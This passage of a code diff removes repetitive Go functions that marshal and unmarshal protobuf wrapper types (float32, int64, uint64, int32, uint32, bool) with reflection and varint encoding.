ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - if ptr.isNil() { - return b, nil - } - t := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(*float32) - v := &float32Value{*t} - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(buf))) - b = append(b, buf...) - return b, nil - } -} - -func makeStdFloatValueSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(u.typ) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(float32) - v := &float32Value{t} - siz := Size(v) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(u.typ) - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(float32) - v := &float32Value{t} - siz := Size(v) - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - } - - return b, nil - } -} - -func makeStdFloatValuePtrSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(reflect.PtrTo(u.typ)) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(*float32) - v := &float32Value{*t} - siz := Size(v) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(reflect.PtrTo(u.typ)) - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(*float32) - v := &float32Value{*t} - siz := Size(v) - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - } - - return b, nil - } -} - -func makeStdFloatValueUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &float32Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - s := f.asPointerTo(sub.typ).Elem() - s.Set(reflect.ValueOf(m.Value)) - return b[x:], nil - } -} - -func makeStdFloatValuePtrUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &float32Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - s := f.asPointerTo(reflect.PtrTo(sub.typ)).Elem() - s.Set(reflect.ValueOf(&m.Value)) - return b[x:], nil - } -} - -func makeStdFloatValuePtrSliceUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &float32Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - slice := f.getSlice(reflect.PtrTo(sub.typ)) - newSlice := reflect.Append(slice, reflect.ValueOf(&m.Value)) - slice.Set(newSlice) - return b[x:], nil - } -} - -func makeStdFloatValueSliceUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &float32Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - slice := f.getSlice(sub.typ) - newSlice := reflect.Append(slice, reflect.ValueOf(m.Value)) - slice.Set(newSlice) - return b[x:], nil - } -} - -func makeStdInt64ValueMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - t := ptr.asPointerTo(u.typ).Interface().(*int64) - v := &int64Value{*t} - siz := Size(v) - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - t := ptr.asPointerTo(u.typ).Interface().(*int64) - v := &int64Value{*t} - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(buf))) - b = append(b, buf...) - return b, nil - } -} - -func makeStdInt64ValuePtrMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - if ptr.isNil() { - return 0 - } - t := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(*int64) - v := &int64Value{*t} - siz := Size(v) - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - if ptr.isNil() { - return b, nil - } - t := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(*int64) - v := &int64Value{*t} - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(buf))) - b = append(b, buf...) - return b, nil - } -} - -func makeStdInt64ValueSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(u.typ) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(int64) - v := &int64Value{t} - siz := Size(v) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(u.typ) - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(int64) - v := &int64Value{t} - siz := Size(v) - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - } - - return b, nil - } -} - -func makeStdInt64ValuePtrSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(reflect.PtrTo(u.typ)) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(*int64) - v := &int64Value{*t} - siz := Size(v) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(reflect.PtrTo(u.typ)) - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(*int64) - v := &int64Value{*t} - siz := Size(v) - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - } - - return b, nil - } -} - -func makeStdInt64ValueUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &int64Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - s := f.asPointerTo(sub.typ).Elem() - s.Set(reflect.ValueOf(m.Value)) - return b[x:], nil - } -} - -func makeStdInt64ValuePtrUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &int64Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - s := f.asPointerTo(reflect.PtrTo(sub.typ)).Elem() - s.Set(reflect.ValueOf(&m.Value)) - return b[x:], nil - } -} - -func makeStdInt64ValuePtrSliceUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &int64Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - slice := f.getSlice(reflect.PtrTo(sub.typ)) - newSlice := reflect.Append(slice, reflect.ValueOf(&m.Value)) - slice.Set(newSlice) - return b[x:], nil - } -} - -func makeStdInt64ValueSliceUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &int64Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - slice := f.getSlice(sub.typ) - newSlice := reflect.Append(slice, reflect.ValueOf(m.Value)) - slice.Set(newSlice) - return b[x:], nil - } -} - -func makeStdUInt64ValueMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - t := ptr.asPointerTo(u.typ).Interface().(*uint64) - v := &uint64Value{*t} - siz := Size(v) - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - t := ptr.asPointerTo(u.typ).Interface().(*uint64) - v := &uint64Value{*t} - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(buf))) - b = append(b, buf...) - return b, nil - } -} - -func makeStdUInt64ValuePtrMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - if ptr.isNil() { - return 0 - } - t := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(*uint64) - v := &uint64Value{*t} - siz := Size(v) - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - if ptr.isNil() { - return b, nil - } - t := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(*uint64) - v := &uint64Value{*t} - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(buf))) - b = append(b, buf...) - return b, nil - } -} - -func makeStdUInt64ValueSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(u.typ) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(uint64) - v := &uint64Value{t} - siz := Size(v) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(u.typ) - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(uint64) - v := &uint64Value{t} - siz := Size(v) - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - } - - return b, nil - } -} - -func makeStdUInt64ValuePtrSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(reflect.PtrTo(u.typ)) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(*uint64) - v := &uint64Value{*t} - siz := Size(v) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(reflect.PtrTo(u.typ)) - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(*uint64) - v := &uint64Value{*t} - siz := Size(v) - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - } - - return b, nil - } -} - -func makeStdUInt64ValueUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &uint64Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - s := f.asPointerTo(sub.typ).Elem() - s.Set(reflect.ValueOf(m.Value)) - return b[x:], nil - } -} - -func makeStdUInt64ValuePtrUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &uint64Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - s := f.asPointerTo(reflect.PtrTo(sub.typ)).Elem() - s.Set(reflect.ValueOf(&m.Value)) - return b[x:], nil - } -} - -func makeStdUInt64ValuePtrSliceUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &uint64Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - slice := f.getSlice(reflect.PtrTo(sub.typ)) - newSlice := reflect.Append(slice, reflect.ValueOf(&m.Value)) - slice.Set(newSlice) - return b[x:], nil - } -} - -func makeStdUInt64ValueSliceUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &uint64Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - slice := f.getSlice(sub.typ) - newSlice := reflect.Append(slice, reflect.ValueOf(m.Value)) - slice.Set(newSlice) - return b[x:], nil - } -} - -func makeStdInt32ValueMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - t := ptr.asPointerTo(u.typ).Interface().(*int32) - v := &int32Value{*t} - siz := Size(v) - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - t := ptr.asPointerTo(u.typ).Interface().(*int32) - v := &int32Value{*t} - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(buf))) - b = append(b, buf...) - return b, nil - } -} - -func makeStdInt32ValuePtrMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - if ptr.isNil() { - return 0 - } - t := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(*int32) - v := &int32Value{*t} - siz := Size(v) - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - if ptr.isNil() { - return b, nil - } - t := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(*int32) - v := &int32Value{*t} - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(buf))) - b = append(b, buf...) - return b, nil - } -} - -func makeStdInt32ValueSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(u.typ) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(int32) - v := &int32Value{t} - siz := Size(v) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(u.typ) - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(int32) - v := &int32Value{t} - siz := Size(v) - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - } - - return b, nil - } -} - -func makeStdInt32ValuePtrSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(reflect.PtrTo(u.typ)) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(*int32) - v := &int32Value{*t} - siz := Size(v) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(reflect.PtrTo(u.typ)) - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(*int32) - v := &int32Value{*t} - siz := Size(v) - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - } - - return b, nil - } -} - -func makeStdInt32ValueUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &int32Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - s := f.asPointerTo(sub.typ).Elem() - s.Set(reflect.ValueOf(m.Value)) - return b[x:], nil - } -} - -func makeStdInt32ValuePtrUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &int32Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - s := f.asPointerTo(reflect.PtrTo(sub.typ)).Elem() - s.Set(reflect.ValueOf(&m.Value)) - return b[x:], nil - } -} - -func makeStdInt32ValuePtrSliceUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &int32Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - slice := f.getSlice(reflect.PtrTo(sub.typ)) - newSlice := reflect.Append(slice, reflect.ValueOf(&m.Value)) - slice.Set(newSlice) - return b[x:], nil - } -} - -func makeStdInt32ValueSliceUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &int32Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - slice := f.getSlice(sub.typ) - newSlice := reflect.Append(slice, reflect.ValueOf(m.Value)) - slice.Set(newSlice) - return b[x:], nil - } -} - -func makeStdUInt32ValueMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - t := ptr.asPointerTo(u.typ).Interface().(*uint32) - v := &uint32Value{*t} - siz := Size(v) - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - t := ptr.asPointerTo(u.typ).Interface().(*uint32) - v := &uint32Value{*t} - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(buf))) - b = append(b, buf...) - return b, nil - } -} - -func makeStdUInt32ValuePtrMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - if ptr.isNil() { - return 0 - } - t := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(*uint32) - v := &uint32Value{*t} - siz := Size(v) - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - if ptr.isNil() { - return b, nil - } - t := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(*uint32) - v := &uint32Value{*t} - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(buf))) - b = append(b, buf...) - return b, nil - } -} - -func makeStdUInt32ValueSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(u.typ) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(uint32) - v := &uint32Value{t} - siz := Size(v) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(u.typ) - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(uint32) - v := &uint32Value{t} - siz := Size(v) - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - } - - return b, nil - } -} - -func makeStdUInt32ValuePtrSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(reflect.PtrTo(u.typ)) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(*uint32) - v := &uint32Value{*t} - siz := Size(v) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(reflect.PtrTo(u.typ)) - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(*uint32) - v := &uint32Value{*t} - siz := Size(v) - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - } - - return b, nil - } -} - -func makeStdUInt32ValueUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &uint32Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - s := f.asPointerTo(sub.typ).Elem() - s.Set(reflect.ValueOf(m.Value)) - return b[x:], nil - } -} - -func makeStdUInt32ValuePtrUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &uint32Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - s := f.asPointerTo(reflect.PtrTo(sub.typ)).Elem() - s.Set(reflect.ValueOf(&m.Value)) - return b[x:], nil - } -} - -func makeStdUInt32ValuePtrSliceUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &uint32Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - slice := f.getSlice(reflect.PtrTo(sub.typ)) - newSlice := reflect.Append(slice, reflect.ValueOf(&m.Value)) - slice.Set(newSlice) - return b[x:], nil - } -} - -func makeStdUInt32ValueSliceUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &uint32Value{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - slice := f.getSlice(sub.typ) - newSlice := reflect.Append(slice, reflect.ValueOf(m.Value)) - slice.Set(newSlice) - return b[x:], nil - } -} - -func makeStdBoolValueMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - t := ptr.asPointerTo(u.typ).Interface().(*bool) - v := &boolValue{*t} - siz := Size(v) - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - t := ptr.asPointerTo(u.typ).Interface().(*bool) - v := &boolValue{*t} - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(buf))) - b = append(b, buf...) - return b, nil - } -} - -func makeStdBoolValuePtrMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - if ptr.isNil() { - return 0 - } - t := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(*bool) - v := &boolValue{*t} - siz := Size(v) - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - if ptr.isNil() { - return b, nil - } - t := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(*bool) - v := &boolValue{*t} - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(buf))) - b = append(b, buf...) - return b, nil - } -} - -func makeStdBoolValueSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(u.typ) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(bool) - v := &boolValue{t} - siz := Size(v) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(u.typ) - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(bool) - v := &boolValue{t} - siz := Size(v) - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - } - - return b, nil - } -} - -func makeStdBoolValuePtrSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(reflect.PtrTo(u.typ)) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(*bool) - v := &boolValue{*t} - siz := Size(v) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(reflect.PtrTo(u.typ)) - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(*bool) - v := &boolValue{*t} - siz := Size(v) - buf, err := Marshal(v) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - } - - return b, nil - } -} - -func makeStdBoolValueUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &boolValue{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - s := f.asPointerTo(sub.typ).Elem() - s.Set(reflect.ValueOf(m.Value)) - return b[x:], nil - } -} - -func makeStdBoolValuePtrUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != WireBytes { - return nil, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - m := &boolValue{} - if err := Unmarshal(b[:x], m); err != nil { - return nil, err - } - s := f.asPointerTo(reflect.PtrTo(sub.typ)).Elem() - s.Set(reflect.ValueOf(&m.Value)) - return b[x:], nil - } -} - -func makeStdBoolValuePtrSliceUnmarshaler(sub *unmarshalInfo, name string) unmarshaler { - return func(b []byte, f pointer, w int) ([]byte, error) { - if w != 